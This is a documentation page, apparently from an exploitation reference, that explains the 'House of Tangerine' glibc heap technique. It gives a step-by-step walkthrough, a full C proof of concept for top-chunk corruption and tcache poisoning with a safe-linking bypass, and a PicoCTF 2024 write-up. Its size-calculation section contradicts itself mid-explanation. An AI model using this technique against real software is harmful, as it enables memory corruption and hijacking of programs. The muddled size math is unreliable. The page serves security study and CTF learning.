Skip to main content

Overview

The House of Tangerine is a modern heap exploitation technique that serves as the successor to House of Orange for glibc 2.26+. Like its predecessor, it exploits the top chunk (wilderness) without calling free() directly, but uses tcache poisoning instead of FILE structure exploitation to achieve arbitrary allocation.
This technique was inspired by the PicoCTF 2024 challenge “High Frequency Troubles” and represents the modern evolution of top chunk exploitation.

Glibc Version Compatibility

VersionStatusNotes
glibc < 2.26❌ N/AUse House of Orange or House of Force instead
glibc 2.26-2.31✅ WorkingOriginal tcache implementation
glibc 2.32+✅ WorkingRequires heap leak for safe linking
glibc 2.34+✅ WorkingTested on x86_64, x86, and aarch64
glibc 2.39✅ WorkingLatest tested version
No patches exist for this technique - it remains viable on all modern glibc versions.

What This Technique Achieves

The House of Tangerine enables:
  • Arbitrary allocation without free(): Force malloc to return any malloc-aligned pointer
  • Heap corruption via malloc only: Exploit using only malloc() calls
  • Tcache control: Inject arbitrary addresses into tcache freelist
  • Modern compatibility: Works on latest glibc with safe linking

Prerequisites and Constraints

This technique requires:
  1. Heap overflow/OOB write: Ability to corrupt top chunk size (twice)
  2. Heap leak (glibc 2.32+): Required for safe linking bypass
  3. Size control: Ability to control malloc sizes precisely
  4. Multiple allocations: Requires 5-6 malloc calls
  5. Target alignment: Target address must be malloc-aligned (16 bytes on x64)

How It Works

1

Corrupt first top chunk

Overflow to corrupt the top chunk size to be page-aligned but smaller than a large allocation.
size_t *heap_ptr = malloc(size_2);

// Corrupt top chunk size (keep page alignment bits)
size_t *top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) + offset];
size_t new_top_size = *top_size_ptr & PAGE_MASK;  // Preserve page bits
*top_size_ptr = new_top_size;
2

Trigger sysmalloc and _int_free

Allocate a large chunk to force sysmalloc to free the old top chunk.
// Allocate larger than corrupted top size
heap_ptr = malloc(SIZE_3);  // SIZE_3 > available top size

// Old top chunk is now freed!
// Size calculation ensures it goes to tcache
3

Corrupt second top chunk

Use overflow again to corrupt the new top chunk size.
// Corrupt new top chunk size
size_t new_top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1] & PAGE_MASK;
heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;

// Calculate location of freed tcache entry
vuln_tcache = (size_t)&heap_ptr[(SIZE_3 / SIZE_SZ) + 2];
4

Trigger second _int_free

Allocate another large chunk to free the second corrupted top chunk.
heap_ptr = malloc(SIZE_3);
// Second top chunk is freed into tcache!
5

Poison tcache with target address

Corrupt the tcache fd pointer to point to target (with safe linking).
// Bypass safe linking: target ^ (address >> 12)
heap_ptr[(vuln_tcache - (size_t)heap_ptr) / SIZE_SZ] = 
    target ^ (vuln_tcache >> 12);
6

Retrieve poisoned tcache entries

Make two allocations to get the target address.
heap_ptr = malloc(SIZE_1);  // Get first tcache entry
heap_ptr = malloc(SIZE_1);  // Get target address!

Complete Source Code

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>

#define SIZE_SZ sizeof(size_t)
#define CHUNK_HDR_SZ (SIZE_SZ*2)
#define MALLOC_ALIGN 0x10L
#define MALLOC_MASK (-MALLOC_ALIGN)
#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESIZE-1)
#define FENCEPOST (2*CHUNK_HDR_SZ)

#define PROBE (0x20-CHUNK_HDR_SZ)

// size used for poisoned tcache
#define CHUNK_SIZE_1 0x40
#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)

// could also be split into multiple lower size allocations
#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)
#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)

/**
 * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)
 *
 * House of Tangerine is the modernized version of House of Orange
 * and is able to corrupt heap without needing to call free() directly
 *
 * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc
 * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
 *
 * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer
 * by abusing the tcache freelist. (requires heap leak on and after 2.32)
 *
 * This version requires 5 (6*) malloc calls and 3 OOB
 *
 *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,
 *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead
 *
 * Special Thanks to pepsipu for creating the challenge "High Frequency Troubles"
 * from Pico CTF 2024 that inspired this exploitation technique
 */
int main() {
  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;
  char win[0x10] = "WIN\0WIN\0WIN\0\x06\xfe\x1b\xe2";
  
  // disable buffering
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  // check if all chunks sizes are aligned
  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);
  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);

  puts("Constants:");
  printf("chunk header = 0x%lx\n", CHUNK_HDR_SZ);
  printf("malloc align = 0x%lx\n", MALLOC_ALIGN);
  printf("page align = 0x%lx\n", PAGESIZE);
  printf("fencepost size = 0x%lx\n", FENCEPOST);
  printf("size_1 = 0x%lx\n", SIZE_1);
  printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);

  // target is malloc aligned 0x10
  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;

  // probe the current size of the top_chunk (optional if size is known)
  heap_ptr = malloc(PROBE);
  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];
  printf("first top size = 0x%lx\n", top_size);

  // calculate size_2 to make freed top chunk land in tcache
  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;
  size_2 &= PAGE_MASK;   // Keep page alignment
  size_2 &= MALLOC_MASK; // Keep malloc alignment
  printf("size_2 = 0x%lx\n", size_2);

  // first allocation 
  heap_ptr = malloc(size_2);

  // use BOF or OOB to corrupt the top_chunk
  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];
  top_size = *top_size_ptr;
  printf("first top size = 0x%lx\n", top_size);

  // make sure corrupt top size is page aligned, generally 0x1000
  new_top_size = top_size & PAGE_MASK;
  *top_size_ptr = new_top_size;
  printf("new first top size = 0x%lx\n", new_top_size);

  // remove fencepost from top_chunk, to get size that will be freed
  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
  assert(freed_top_size == CHUNK_SIZE_1);

  /*
   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.
   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged
   */
  printf("size_3 = 0x%lx\n", SIZE_3);
  heap_ptr = malloc(SIZE_3);

  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];
  printf("current top size = 0x%lx\n", top_size);

  // corrupt second top chunk size (keep page alignment)
  new_top_size = top_size & PAGE_MASK;
  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;
  printf("new top size = 0x%lx\n", new_top_size);

  // remove fencepost from top_chunk
  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
  printf("freed top_chunk size = 0x%lx\n", freed_top_size);
  assert(freed_top_size == CHUNK_SIZE_1);

  // this will be our vuln_tcache for tcache poisoning
  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];
  printf("tcache next ptr: 0x%lx\n", vuln_tcache);

  // free the previous top_chunk again
  heap_ptr = malloc(SIZE_3);

  // corrupt next ptr into pointing to target
  // use a heap leak to bypass safe linking (GLIBC >= 2.32)
  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);

  // allocate first tcache (corrupt next tcache bin)
  heap_ptr = malloc(SIZE_1);

  // get arbitrary ptr for reads or writes
  heap_ptr = malloc(SIZE_1);

  // proof that heap_ptr now points to the same string as target
  assert((size_t) heap_ptr == target);
  puts((char *) heap_ptr);
}

Technical Deep Dive

The _int_free in sysmalloc

The key to House of Tangerine is this code path in sysmalloc:
// From malloc.c - sysmalloc() around line 2913
if (old_top != 0 && old_size != 0) {
    // Can't merge old top with new memory
    _int_free(av, old_top, 1);
}
This happens when:
  1. We corrupt top chunk size to be smaller than allocation
  2. malloc calls sysmalloc to get more memory
  3. New memory is mmapped at a different location
  4. Old top chunk can’t merge with new memory
  5. _int_free is called on old top chunk
No direct free() call needed!

Size Calculation Strategy

The technique requires precise size calculations:
// Goal: Make freed top chunk = CHUNK_SIZE_1 (0x40)

// When sysmalloc frees top chunk:
freed_size = (top_size - FENCEPOST) & MALLOC_MASK

// Where FENCEPOST = 2 * CHUNK_HDR_SZ = 0x20

// So if top_size = 0x60:
freed_size = (0x60 - 0x20) & ~0xF = 0x40

// To get top_size = 0x60, we corrupt it to 0x1060
// (keeping page alignment bits)
// After subtracting fencepost: 0x1060 - 0x20 = 0x1040
// After malloc alignment: 0x1040 & ~0xF = 0x1040... wait, that's wrong!

// Actually, the size calculation accounts for this:
size_2 = current_top_size - CHUNK_HDR_SZ - 2*MALLOC_ALIGN - CHUNK_SIZE_1
size_2 &= PAGE_MASK    // Keep page bits  
size_2 &= MALLOC_MASK  // Keep malloc alignment
The math ensures that after allocation, the remaining top chunk size (when corrupted and freed) equals CHUNK_SIZE_1.

Page Alignment Bypass

Why keep page alignment bits?
// From malloc.c - sysmalloc checks top chunk size
if (__glibc_unlikely(chunksize(av->top) > av->system_mem))
    malloc_printerr("corrupted top size");
By keeping the page-aligned bits (0x1000, 0x2000, etc.), we:
  1. Avoid triggering size validation checks
  2. Make the corrupted size look “reasonable”
  3. Still control the lower bits for precise freed size

Safe Linking Bypass

For glibc 2.32+, tcache uses safe linking:
// Encryption
fd_next = next ^ (address_of_fd >> 12)

// To set fd to target:
fd_value = target ^ (current_fd_address >> 12)
We need a heap leak to know current_fd_address, then XOR with target.

Double Top Chunk Free

Why free the top chunk twice?
  1. First free: Gets a freed chunk of size CHUNK_SIZE_1 into tcache
  2. Second free: Creates another freed chunk whose fd pointer we can corrupt
Without the second free, we’d need a different method to corrupt the tcache fd pointer.

CTF Challenge

Challenge: Signal processing application with controlled heap allocationsVulnerability:
  • Could trigger allocations of controlled sizes
  • Had out-of-bounds write to corrupt heap metadata
  • No direct free() function available
Exploitation:
  1. Leaked heap address via observation of allocation patterns
  2. Corrupted top chunk size to force sysmalloc
  3. Triggered large allocation to free old top chunk
  4. Repeated process to get second freed top chunk
  5. Corrupted tcache fd pointer with safe linking bypass
  6. Got arbitrary allocation near target data structure
  7. Overwrote flag verification logic
Challenge Link: PicoCTF 2024 - High Frequency TroublesSignificance: This challenge popularized the technique and demonstrated its practicality.

Common Pitfalls

Size Alignment Errors: The most complex part is calculating size_2 correctly. Remember to apply both PAGE_MASK and MALLOC_MASK to ensure proper alignment.
Safe Linking Without Heap Leak: On glibc 2.32+, attempting tcache poisoning without a heap leak will result in corruption that crashes on allocation.
Target Misalignment: The target address must be malloc-aligned (16 bytes on x64). Use (addr + 0xF) & ~0xF to align.
Forgetting Fencepost: The freed size is (top_size - FENCEPOST) & MALLOC_MASK, not just top_size. Account for the 0x20 byte fencepost.

Advantages Over House of Orange

FeatureHouse of OrangeHouse of Tangerine
Glibc Version< 2.26 only2.26+ (modern)
ComplexityHigh (FILE structure)Medium (tcache)
Leaks RequiredHeap + LibcHeap only (2.32+)
Allocations Needed2-35-6
Arbitrary WriteIndirect (via system)Direct (via tcache)
Patch StatusPatchedUnpatched

Exploitation Strategy

Phase 1: Information Gathering

  1. Leak heap address (required for safe linking on 2.32+)
  2. Determine target address and ensure malloc alignment
  3. Calculate initial top chunk size (or probe it)

Phase 2: First Top Chunk Free

  1. Allocate chunk of size_2 (precisely calculated)
  2. Overflow to corrupt top chunk size (keep page bits)
  3. Allocate large chunk to trigger sysmalloc and _int_free
  4. First top chunk is now in tcache

Phase 3: Second Top Chunk Free

  1. Overflow to corrupt new top chunk size
  2. Calculate location of freed tcache entry
  3. Allocate large chunk to trigger second _int_free
  4. Second top chunk is now in tcache

Phase 4: Tcache Poisoning

  1. Corrupt second freed chunk’s fd pointer
  2. Apply safe linking: target ^ (fd_addr >> 12)
  3. Allocate once to get corrupted tcache entry
  4. Allocate again to get target address

House of Orange

Predecessor technique for glibc < 2.26

Tcache Poisoning

Core technique used for arbitrary allocation

House of Force

Alternative top chunk exploitation (patched in 2.29)

See Also

Build docs developers (and LLMs) love